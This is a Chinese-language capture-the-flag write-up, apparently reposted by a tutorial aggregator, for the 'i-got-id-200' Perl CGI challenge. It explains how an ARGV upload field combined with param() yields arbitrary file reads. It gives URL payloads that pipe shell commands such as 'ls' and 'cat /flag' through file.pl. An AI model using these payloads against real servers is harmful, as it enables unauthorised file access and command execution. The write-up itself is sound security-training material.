攻防世界-web-i-got-id-200(perl文件上传+ARGV造成任意文件读取和任意命令执行)
内容导读
互联网集市收集整理的这篇技术教程文章主要介绍了攻防世界-web-i-got-id-200(perl文件上传+ARGV造成任意文件读取和任意命令执行),小编现在分享给大家,供广大互联网技能从业者学习和参考。文章包含1401字,纯文字阅读大概需要3分钟。
内容图文
题目来源:csaw-ctf-2016-quals
题目描述:嗯。。我刚建好了一个网站
进入场景后有3个链接,点进去都是.pl文件,.pl文件都是用perl编写的网页文件。
尝试后发现,Files链接可以上传文件并把文件内容打印出来。猜想后台应该用了param()函数。
param()函数会返回一个列表的文件但是只有第一个文件会被放入到下面的接收变量中。如果我们传入一个ARGV的文件,那么Perl会将传入的参数作为文件名读出来。对正常的上传文件进行修改,可以达到读取任意文件的目的。
这里附上网上大佬们猜测的后台代码:
use strict; use warnings; use CGI; my $cgi= CGI->new; if ( $cgi->upload( ‘file‘ ) ) { my$file= $cgi->param( ‘file‘ ); while ( <$file> ) { print"$_"; } }
fiddler进行抓包,将上传的文件类型及文件内容处复制再粘贴一行,将filename去掉,然后内容填入ARGV
然后盲猜flag文件,读取试试
或者直接先读取file.pl文件,盲猜在/var/www/cgi-bin/file.pl试试
发现确实使用了param()函数,然后我们利用bash来进行读取当前目录下的文件。
payload为
/cgi-bin/file.pl?/bin/bash%20-c%20ls${IFS}/|
%20为空格,可换成+号
看了大佬的解释为
通过管道的方式,执行任意命令,然后将其输出结果用管道传输到读入流中,这样就可以保证获取到flag文件的位置了。这里用到了${IFS}来作命令分割,原理是会将结果变成bash -c "ls/"的等价形式。
列出了当前目录下的内容,发现flag,直接读取。
当然其实还有一种更简单的方法,参考:https://www.cnblogs.com/zhengna/p/12381759.html
首先查看当前目录下的文件,发现当前目录下没有flag文件。payload为
/cgi-bin/file.pl?ls%20-l%20.%20|
即执行ls -l . |命令
然后查看file.pl的源代码,发现确实使用了param()函数。payload为
/cgi-bin/file.pl?./file.pl
接着继续寻找flag文件,查看根目录,发现flag。payload为
/cgi-bin/file.pl?ls%20-l%20/%20|
最后读取flag即可。payload为
/cgi-bin/file.pl?/flag #直接读取/flag文件内容或者 /cgi-bin/file.pl?cat%20/flag%20| #使用命令读取/flag文件内容
总结:perl文件遇到上传可配合ARGV文件使用造成任意文件读取或者任意命令执行(需要在命令最后添加管道符)
参考:https://www.cnblogs.com/-chenxs/p/11953933.html
原文:https://www.cnblogs.com/zhengna/p/13344832.html
内容总结
以上是互联网集市为您收集整理的攻防世界-web-i-got-id-200(perl文件上传+ARGV造成任意文件读取和任意命令执行)全部内容,希望文章能够帮你解决攻防世界-web-i-got-id-200(perl文件上传+ARGV造成任意文件读取和任意命令执行)所遇到的程序开发问题。 如果觉得互联网集市技术教程内容还不错,欢迎将互联网集市网站推荐给程序员好友。
内容备注
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 gblab@vip.qq.com 举报,一经查实,本站将立刻删除。
内容手机端
扫描二维码推送至手机访问。